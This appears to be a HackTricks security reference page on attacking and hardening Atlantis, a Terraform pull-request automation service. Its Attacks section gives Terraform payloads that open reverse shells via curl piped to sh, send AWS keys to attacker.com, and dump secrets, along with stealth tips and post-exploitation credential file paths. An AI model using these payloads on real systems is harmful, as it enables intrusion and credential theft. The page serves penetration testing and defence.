Atlantis Security
Basic Information
Atlantis is a pull-request-driven service that runs Terraform commands from comments on a Git host. [1][13]
.png)
Local Lab
- Go to the atlantis releases page in https://github.com/runatlantis/atlantis/releases and download the one that suits you. [4]
- Create a personal token (with repo access) of your github user. A dedicated CI user is preferable for anything beyond a local test. [3]
- Execute
./atlantis testdriveand it will create a demo repo you can use to talk to atlantis. [4]- The default Atlantis web port is
4141, so the local page is normally available at127.0.0.1:4141. [6]
- The default Atlantis web port is
Atlantis Access
Git Server Credentials
Atlantis supports GitHub, GitLab, Gitea, Bitbucket and Azure DevOps. It needs host credentials to clone repositories, update statuses and comment on pull requests; the exact minimum permissions vary by host, and GitHub status updates require write access.
The docs encourage creating a dedicated CI user for Atlantis, although a personal account can be used for testing. [3]
[!WARNING] In any case, from an attackers perspective, the Atlantis account is going to be one very interesting to compromise.
Webhooks
Atlantis optionally uses Webhook secrets to validate that the webhooks it receives from your Git host are legitimate. They are optional but strongly recommended. [5]
One way to confirm this would be to allowlist requests to only come from the IPs of your Git host but an easier way is to use a Webhook Secret.
Note that unless you use a private GitHub, GitLab, Gitea or Bitbucket server, you will need to expose webhook endpoints to the Internet. [26]
[!WARNING] Atlantis is going to be exposing webhooks so the git server can send it information. From an attackers perspective it would be interesting to know if you can send it messages.
Provider Credentials
Atlantis runs Terraform by simply executing terraform plan and apply commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. [2]
It's up to you how you provide credentials for your specific provider to Atlantis: [2]
- The Atlantis Helm Chart and AWS Fargate Module have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- AWS EC2 Roles (Search for "EC2 Role")
- GCE Instance Service Accounts
- Many users set environment variables, ex.
AWS_ACCESS_KEY, where Atlantis is running. - Others create the necessary config files, ex.
~/.aws/credentials, where Atlantis is running. - Use the HashiCorp Vault Provider to obtain provider credentials.
[!WARNING] The container where Atlantis is running may contain privileged credentials to the providers (AWS, GCP, GitHub...) that Atlantis is managing via Terraform. [2]
Web Page
By default Atlantis binds its web service to port 4141. The UI allows you to enable/disable apply, inspect plan status and unlock repositories; the documented --web-basic-auth option controls whether Basic Authentication protects it. If Basic Authentication is enabled without changing the defaults, the username and password are both atlantis. [6]
Treat an exposed UI without explicitly configured authentication as an attack surface, even though it is commonly bound to localhost in local deployments. [14] The page is primarily an operational interface rather than a repository or Terraform configuration editor.
Server Configuration
Configuration to atlantis server can be specified via command line flags, environment variables, a config file or a mix of the three. Atlantis maps flags to ATLANTIS_... variables and applies the precedence order flags, environment variables, then config file. [6]
- You can find here the list of flags supported by Atlantis server
- You can find here how to transform a config option into an env var
Values are chosen in this order:
- Flags
- Environment Variables
- Config File
[!WARNING] Note that in the configuration you might find interesting values such as tokens and passwords.
Repos Configuration
Some configurations affect how the repos are managed. However, it's possible that each repo requires different settings, so there are ways to specify each repo. The repository-level file and server-side repo config control which settings may be selected or overridden. This is the priority order: [7][8]
- Repo
/atlantis.ymlfile. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.- Probably required to be allowed by flags like
allowed_overridesorallow_custom_workflows
- Probably required to be allowed by flags like
- Server Side Config: You can pass it with the flag
--repo-configand it's a yaml configuring new settings for each repo (regexes supported) - Default values
PR Protections
Atlantis allows you to require that a PR be approved by somebody else and/or mergeable before running apply, independently of the VCS branch-protection settings. Enabling both requirements is a sensible security baseline. [8]
In case allowed_overrides is True, these setting can be overwritten on each project by the /atlantis.yml file. [8]
Scripts
The server-side repo config can specify scripts to run before (pre workflow hooks) and after (post workflow hooks) a workflow is executed; these hooks are configured server-side rather than in the repository's atlantis.yml. [9][10]
There isn't any option to allow specifying these scripts in the repo /atlantis.yml file. However, if a configured hook executes a repository-local script, changing that script in a PR can make the hook execute attacker-controlled code. This is an execution-path inference from the documented hook behavior and the branch checkout used by Atlantis. [9][10][14]
Workflow
In the repo config (server side config) you can specify a new default workflow, or create new custom workflows. You can also specify which repos can access the new ones generated.
Then, you can allow the atlantis.yaml file of each repo to specify the workflow to use. [7][8][11]
[!CAUTION] If the server side config flag
allow_custom_workflowsis set to True, workflows can be specified in theatlantis.yamlfile of each repo. It's also potentially needed thatallowed_overridesspecifies alsoworkflowto override the workflow that is going to be used. [8][11]
This will basically give RCE in the Atlantis server to any user that can access that repo. [14]# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Conftest Policy Checking
Atlantis supports running server-side conftest policies against the plan output. [12] Common usecases for using this step include:
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
You can check how to configure it in the docs. [12]
Atlantis Commands
In the docs you can find the options you can use to run Atlantis. Atlantis receives these commands through pull-request comments and passes supported arguments to Terraform. [13]
# Get help
atlantis help
# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options
# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
Attacks
[!WARNING] If during the exploitation you find this error:
Error: Error acquiring the state lock
You can fix it by running: [13]
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can execute atlantis plan (or maybe it's automatically executed), a malicious Terraform configuration can lead to code execution on the Atlantis server. Atlantis explicitly documents malicious providers and the external data source as plan-time attack paths. [14][15][16][17]
You can do this by making Atlantis load an external data source. The provider executes the configured program, passes the Terraform process environment to it, and reruns it when the data source is refreshed; Terraform normally reads data sources during planning. Just put a payload like the following in the main.tf file. [15][16][17]
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Stealthier Attack
You can perform this attack even in a stealthier way, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can load an external resource that contains the rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
Terraform downloads Git-backed modules during initialization, and the referenced repository's module contains an external data source that runs a shell command. [16][22][25]
- In the external resource, use the ref feature to select a branch, tag or commit and hide the terraform rev shell code in a branch inside of the repo, something like:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b[22][25] - Instead of creating a PR to master to trigger Atlantis, create 2 branches (test1 and test2) and create a PR from one to the other. When you have completed the attack, just remove the PR and the branches.
Atlantis plan Secrets Dump
You can dump secrets used by terraform running atlantis plan (terraform plan) by putting something like this in the terraform file. Terraform's nonsensitive function removes the sensitive marking, and output values are stored in state, so this intentionally exposes the value to Terraform output/state consumers. [23][24]
output "dotoken" {
value = nonsensitive(var.do_token)
}
Atlantis apply RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can execute atlantis apply, a malicious Terraform file can execute commands on the Atlantis server through a local-exec provisioner. [14][18][19]
However, you will usually need to bypass some protections:
- Mergeable: If this protection is set in Atlantis, you can only run
atlantis applyif the PR is mergeable (which means that the branch protection need to be bypassed).- Check potential branch protections bypasses
- Approved: If this protection is set in Atlantis, some other user must approve the PR before you can run
atlantis apply- By default you can abuse the Gitbot token to bypass this protection
Running terraform apply on a malicious Terraform file with local-exec. Terraform documents that local-exec invokes an executable on the machine where Terraform runs. [18][19]
You just need to make sure some payload like the following ones ends in the main.tf file:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Follow the suggestions from the previous technique the perform this attack in a stealthier way.
Terraform Param Injection
When running atlantis plan or atlantis apply, Terraform runs under Atlantis and you can pass supported arguments after -- in the pull-request comment. Plan-changing arguments such as -var and -var-file belong on atlantis plan; Atlantis ignores those arguments during apply because it applies an already-generated plan file. [13]
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
Terraform environment variables can also alter CLI behavior, including TF_CLI_ARGS, TF_CLI_ARGS_name, and TF_VAR_name; review them when assessing controls that rely on command-line defaults. Check Terraform env vars in https://www.terraform.io/cli/config/environment-variables. [20][21]
Custom Workflow
Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not of master. [7][11][14]
This possibility was mentioned in a previous section:
[!CAUTION] If the server side config flag
allow_custom_workflowsis set to True, workflows can be specified in theatlantis.yamlfile of each repo. It's also potentially needed thatallowed_overridesspecifies alsoworkflowto override the workflow that is going to be used.This will basically give RCE in the Atlantis server to any user that can access that repo.
# atlantis.yaml version: 3 projects: - dir: . workflow: custom1 workflows: custom1: plan: steps: - init - run: my custom plan command apply: steps: - run: my custom apply command
Bypass plan/apply protections
If the server side config flag allowed_overrides has apply_requirements configured, it's possible for a repo to modify the plan/apply protections to bypass them. Atlantis documents that an allowed repo can set apply_requirements: [] in atlantis.yaml, disabling the requirement. [8]
repos:
- id: /.*/
apply_requirements: []
PR Hijacking
If someone sends atlantis plan/apply comments on your valid pull requests, it will cause Terraform to run when you don't want it to. Atlantis documents this as an attack path. [13][14]
Moreover, if you have not configured branch protection to dismiss stale approvals or require approval of the latest reviewable push when a new commit is pushed, someone could write malicious configs (check previous scenarios) in the Terraform config, run atlantis plan/apply and gain RCE. GitHub documents these settings as protections against unreviewed content added by later pushes. [14][29]
This is the setting in Github branch protections:
.png)
Webhook Secret
If you manage to steal the webhook secret used or if there isn't any webhook secret being used, you could call the Atlantis webhook and invoke Atlantis commands directly. Webhook secrets are the authenticity check; the repo allowlist alone does not prove that a request came from the VCS provider. [5][14]
Bitbucket
Current Atlantis releases support --bitbucket-webhook-secret for Bitbucket Cloud, and Bitbucket Cloud supports secret tokens. Deployments running an older Atlantis version or omitting that setting can still allow attackers to spoof requests from Bitbucket, so use a webhook secret and/or allowlist Bitbucket's published IP ranges. [6][27][28]
- Without webhook-secret validation, an attacker could make fake requests to Atlantis that look like they're coming from Bitbucket.
- If you are specifying
--repo-allowlistthen they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. - To prevent this, allowlist Bitbucket's IP addresses (see Outbound IPv4 addresses). [28]
Post-Exploitation
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read. Paths vary by deployment: Atlantis stores its database, checked-out repositories and plans under --data-dir, which defaults to ~/.atlantis; /atlantis-data is a common container override. [6]
/home/atlantis/.git-credentialsContains VCS access credentials when--write-git-credsis enabled. [3][6]/atlantis-data/atlantis.dbContains VCS access credentials with more info when that deployment's--data-diris/atlantis-data./atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstateTerraform state file when that deployment uses the same data directory.- Example: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environEnv variables/proc/[2-20]/cmdlineCmd line ofatlantis server(may contain sensitive data)
Mitigations
Don't Use On Public Repos
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. [14]
Don't Use --allow-fork-prs
If you're running on a public repo (which isn't recommended, see above) you shouldn't set --allow-fork-prs (defaults to false) because anyone can open up a pull request from their fork to your repo. [14]
--repo-allowlist
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the --repo-allowlist flag. For example: [6][14]
- Specific repositories:
--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests - Your whole organization:
--repo-allowlist=github.com/runatlantis/* - Every repository in your GitHub Enterprise install:
--repo-allowlist=github.yourcompany.com/* - All repositories:
--repo-allowlist=*. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See atlantis server --help for more details.
Protect Terraform Planning
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that terraform apply approvals are not enough. It is possible to run malicious code in a terraform plan using the external data source or by specifying a malicious provider. This code could then exfiltrate your credentials. [2][14][16][17]
To prevent this, you could:
- Bake providers into the Atlantis image or host and deny egress in production.
- Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
- Modify your server-side repo configuration's
planstep to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing theplanto continue. Conftest could be of use here. [8][12]
Webhook Secrets
Atlantis should be run with Webhook secrets set via the $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET environment variables. Even with the --repo-allowlist flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). [5][14]
If you are using Azure DevOps, instead of webhook secrets add a basic username and password. [5]
Azure DevOps Basic Authentication
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. [5]
SSL/HTTPS
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the --ssl-cert-file and --ssl-key-file flags. [5][14]
Enable Authentication on Atlantis Web Server
It is very recommended to enable authentication in the web service. Enable BasicAuth using the --web-basic-auth=true and setup a username and a password using --web-username=yourUsername and --web-password=yourPassword flags. [6][14]
You can also pass these as environment variables ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername and ATLANTIS_WEB_PASSWORD=yourPassword. [6]
References
- [1] Atlantis documentation
- [2] Provider Credentials | Atlantis
- [3] Git Host Access Credentials | Atlantis
- [4] Test Drive | Atlantis
- [5] Webhook Secrets | Atlantis
- [6] Server Configuration | Atlantis
- [7] Repo Level atlantis.yaml Config | Atlantis
- [8] Server Side Repo Config | Atlantis
- [9] Pre Workflow Hooks | Atlantis
- [10] Post Workflow Hooks | Atlantis
- [11] Custom Workflows | Atlantis
- [12] Conftest Policy Checking | Atlantis
- [13] Using Atlantis | Atlantis
- [14] Security | Atlantis
- [15] external Data Source | Terraform Registry
- [16] external Data Source | terraform-provider-external
- [17] Data sources | Terraform
- [18] local-exec provisioner | Terraform
- [19] Use provisioners | Terraform
- [20] Terraform CLI environment variables
- [21] Terraform CLI environment variables reference
- [22] Use modules in your configuration | Terraform
- [23] output block reference | Terraform
- [24] nonsensitive function | Terraform
- [25] terraform_external_module_rev_shell
- [26] Deployment | Atlantis
- [27] Manage webhooks | Bitbucket Cloud
- [28] IP addresses for runners behind corporate firewalls | Bitbucket Cloud
- [29] Managing protected branches | GitHub Docs
[!TIP] Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


